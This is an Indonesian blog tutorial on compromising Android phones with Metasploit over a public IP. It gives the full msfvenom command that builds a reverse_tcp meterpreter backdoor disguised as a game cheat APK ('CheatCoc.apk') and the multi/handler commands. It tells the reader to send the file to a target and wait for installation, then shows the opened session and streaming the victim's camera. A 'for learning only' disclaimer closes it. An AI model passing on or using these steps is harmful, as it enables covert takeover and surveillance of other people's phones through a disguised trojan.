Exploit Android dengan Metasploit IP Public

Halo semua, kali ini saya akan memberikan tutorial bagaimana cara exploit android dengan metasploit di ip public, saya kali ini menggunakan Backbox Linux 4.4, kalian juga bisa menggunakan distro linux yang lain asal ada metasploitnya :D, langkah-langkahnya sama kok dengan cara ini

oke langsung saja
pertama kita harus Setting Port Forwarding pada router, tentunya kalian harus login sebagai admin, kemudian cari pengaturan NAT, cek enabled DMZ, lalu isikan local ip kalian. jangan lupa di save

Setting Port Forwarding di Router

oke lanjut, cek terlebih dahulu ip public dengan cara mengetikkan di terminal sudo curl ifconfig.me atau bisa di cek di www.whatismyip.com
setelah mengetahui ip public selanjutnya buat backdor dengan msfvenom
sudo msfvenom -p android/meterpreter/reverse_tcp lhost=180.214.232.78 lport=443 R > CheatCoc.apk
sudo msfvenom -p android/meterpreter/reverse_tcp lhost=180.214.232.78 lport=443 R > CheatCoc.apk

Kalian sesuaikan lhost dengan ip public kalian, lport juga bisa di isi terserah, CheatCoc.apk merupakan nama backdoor yang dibuat

setelah backdoor terbuat sekarang buka metasploit console
msfconsole
 oke selanjutnya tinggal kita jalankan exploit
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set lhost 192.168.1.106
set lport 443
exploit
set payload android/meterpreter/reverse_tcp

lhost isi dengan ip local
lport sesuaikan dengan lport backdoor yang dibuat
sekarang tinggal kirimkan backdoor tadi ke target, tunggu taget menginstall backdoor dan membukanya

nahh, meterpreter sessions 1 opened, exploitnya berhasil bro :D

meterpreter sessions 1 opened

Coba cek infomasi sistem target

sysinfo

Streaming camera korban


Beberapa perintah meterpreter yang lain untuk android


Sekian tutorial mengenai Cara Exploit Android dengan Metasploit di IP Public semoga bermanfaat. ini hanya sebuah pembelajaran, penyalahgunaan dari tutorial ini bukan tanggung jawab saya, Terima kasih

Subscribe to receive free email updates:

Related Posts :

0 Response to "Exploit Android dengan Metasploit IP Public"

Posting Komentar